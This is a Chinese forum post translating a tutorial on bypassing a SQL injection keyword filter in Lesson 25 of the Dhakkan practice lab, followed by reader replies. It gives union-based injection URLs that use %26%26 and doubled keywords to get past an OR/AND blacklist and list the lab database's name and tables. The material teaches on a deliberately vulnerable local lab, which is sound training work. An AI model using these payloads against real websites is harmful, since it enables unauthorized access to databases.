首页
社区
课程
招聘
[翻译]如何手动绕过SQL注入过滤器?(一)
发表于: 2017-7-11 12:44 8802

[翻译]如何手动绕过SQL注入过滤器?(一)

2017-7-11 12:44
8802

在前面的文章中(传送门),你应该已经学会了一些关于SQL注入的基本概念,但是在有些情况下,你会发现这些知识竟然不管用了,这是为什么呢?原因就在于开发者采取了一些防止SQL注入的措施。有时,开发者会使用过滤器对用户输入做一些处理,具体来说就是在用户输入被添加到SQL查询语句中之前,将其中的一些字母和操作符剔除,以此来防止SQL注入攻击。本篇文章会帮助你应对此类情况,并教你如何绕过这种过滤器。我们使用的仍然是Dhakkan平台。


LESSON 25


本节中,函数ORAND被过滤掉了,为此,我们要使用它们的替代品来绕过该过滤器。

function blacklist($id)

$id=preg_replace('/OR/i',"",$id);           //strip out OR (non case sensitive)

$id=preg_replace('/AND/i',"",$id);        //strip out AND (non case sensitive)

替代品:

AND: && %26%26

OR: ||

由于OR,AND被列入黑名单,因此当使用AND 1=1或OR 1=1时就得不到想要的结果了,所以这里换用了 %26%26 。

打开浏览器,输入http://localhost:81/sqli/Less-25/?id=1' %26%26 1=1 --+。(注:具体以个人配置为准)


由上图可以看出,我们使用URL编码 %26%26 成功地解决了AND(&&)被过滤掉的问题。

如果你已经明白了上面的绕过AND过滤器的方法,那么请接着往下看,接下来我们会对该SQL查询语句做一点小小的改动以获取数据库信息。

http://localhost:81/sqli/Less-25/?id=-1' union select 1,2,3 %26%26 1=1 --+

由上图可以看出,显示的是第一列和第二列。

先使用联合注入获取数据库名:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,database(),3 %26%26 1=1 --+

由上图可以看出,数据库名为'security'。

下一条查询来看看数据库中有哪些表:

http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() %26%26 1=1 --+


由上图可以看出,当前的表名有:

T1: emails

T2: referers

T3: uagents


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 4
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
方法本身没有错,奇怪的是25课本身不需要用到AND  OR就可以进行注入,比如http://localhost:81/sqli/Less-25/?id=-1'  union  select  1,group_concat(table_name),3  from  infoorrmation_schema.tables  where  table_schema=database()  %26%26  1=1  --+,其实用http://localhost:81/sqli/Less-25/?id=-1'  union  select  1,group_concat(table_name),3  from  infoorrmation_schema.tables  where  table_schema=database()  --+就够了。原文作者硬要加一个and  1=1,不明觉厉啊。
2017-7-21 11:25
0
雪    币: 522
活跃值: (251)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
3
弟子规 方法本身没有错,奇怪的是25课本身不需要用到AND OR就可以进行注入,比如http://localhost:81/sqli/Less-25/?id=-1' union select 1,group_ ...
你说的很对,不用到AND  OR就可以成功进行注入。但是,你认为除了这两条语句外还有别的语句可以进行注入吗?我认为完全是有可能的。那么作者为什么只提到了这一种呢?看看文章的标题或许就能理解了——作者是为了教会别人一种方法,而不仅仅是一条语句。
2017-7-21 13:46
0
雪    币: 4
活跃值: (28)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
hesir 你说的很对,不用到AND OR就可以成功进行注入。但是,你认为除了这两条语句外还有别的语句可以进行注入吗?我认为完全是有可能的。那么作者为什么只提到了这一种呢?看看文章的标题或许就能理解了——作者是为 ...
说的是,我钻牛角尖了  -_-!
2017-7-21 16:39
0
雪    币: 300
活跃值: (2477)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
mark
2018-2-8 15:29
0
游客
登录 | 注册 方可回帖
返回
//